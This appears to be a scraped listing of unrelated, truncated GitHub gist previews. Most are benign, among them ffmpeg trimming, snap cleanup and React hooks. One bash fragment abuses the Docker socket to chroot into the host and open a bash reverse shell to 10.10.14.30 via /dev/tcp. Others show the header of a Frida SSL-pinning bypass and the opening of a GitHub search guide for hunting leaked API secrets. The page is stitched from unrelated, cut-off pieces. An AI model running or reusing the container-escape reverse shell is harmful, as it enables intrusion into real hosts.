ffmpeg -ss 00:01:00 -to 00:02:00 -i ./in.mkv -c copy out.mkvffmpeg -i in.srt -ss 01:00 -to 02:00 out.srt| #!/bin/bash | |
| # Removes old revisions of snaps | |
| # CLOSE ALL SNAPS BEFORE RUNNING THIS | |
| set -eu | |
| LANG=C snap list --all | awk '/disabled/{print $1, $3}' | | |
| while read snapname revision; do | |
| snap remove "$snapname" --revision="$revision" | |
| done |
| /** | |
| * Creates a read/writable property which returns a function set for write/set (assignment) | |
| * and read/get access on a variable | |
| * | |
| * @param {Any} value initial value of the property | |
| */ | |
| function createProperty(value) { | |
| var _value = value; | |
| /** |
| /** | |
| * If you have a website source bundled with webpack and are lucky to have a sourcemap nearby, | |
| * then you are able to fully reconstruct original code + folders structure. | |
| * Place this file at the root of project. | |
| * Provide the path to sourcemap + the path to where you'd like to extract original codebase. | |
| */ | |
| const fs = require('fs'); | |
| const path = require('path'); | |
| const sourceMap = require('source-map'); |
| #!/bin/bash | |
| # Useful for checking rtt to any sotname of interest. | |
| # Since servers usually have balancers or dns balancing is in place it is helpful to test every ip. | |
| IPS=$(host $1 | grep "has address" | awk '{ print $4 }') | |
| REQ_AMOUNT=${2:-5} | |
| # Loop through each IP address | |
| for IP in $IPS; do |
import React from 'react';
/**
* @param {string} storageKey
* @param {*} initialState
* @param {number} expiration
*/
export const useStateWithLocalStorage = (storageKey, initialState, expiration) => {
const [value, setValue] = React.useState(() => {#Check if Ideapad_laptop kernel module is loaded
lsmod | grep ideapad_laptop
# 1 on, 0 off
cat /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode
echo 1 | sudo tee /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode
echo 0 | sudo tee /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode| #!/bin/bash | |
| # you can see images availables with | |
| # curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | |
| # here we have sandbox:latest | |
| # command executed when container is started | |
| # change dir to tmp where the root fs is mount and execute reverse shell | |
| cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]" |
| console.log("[*] SSL Pinning Bypasses"); | |
| console.log(`[*] Your frida version: ${Frida.version}`); | |
| console.log(`[*] Your script runtime: ${Script.runtime}`); | |
| /** | |
| * by incogbyte | |
| * Common functions | |
| * thx apkunpacker, NVISOsecurity, TheDauntless | |
| * Remember that sslpinning can be custom, and sometimes u need to reversing using ghidra,IDA or something like that. | |
| * !!! THIS SCRIPT IS NOT A SILVER BULLET !! |
As a security professional, it is important to conduct a thorough reconnaissance. With the increasing use of APIs nowadays, it has become paramount to keep access tokens and other API-related secrets secure in order to prevent leaks. However, despite technological advances, human error remains a factor, and many developers still unknowingly hardcode their API secrets into source code and commit them to public repositories. GitHub, being a widely popular platform for public code repositories, may inadvertently host such leaked secrets. To help identify these vulnerabilities, I have created a comprehensive search list using powerful search syntax that enables the search of thousands of leaked keys and secrets in a single search.
(path:*.{File_extension1} OR path:*.{File_extension-N}) AND ({Keyname1} OR {Keyname-N}) AND (({Signature/pattern1} OR {Signature/pattern-N}) AND ({PlatformTag1} OR {PlatformTag-N}))
**1.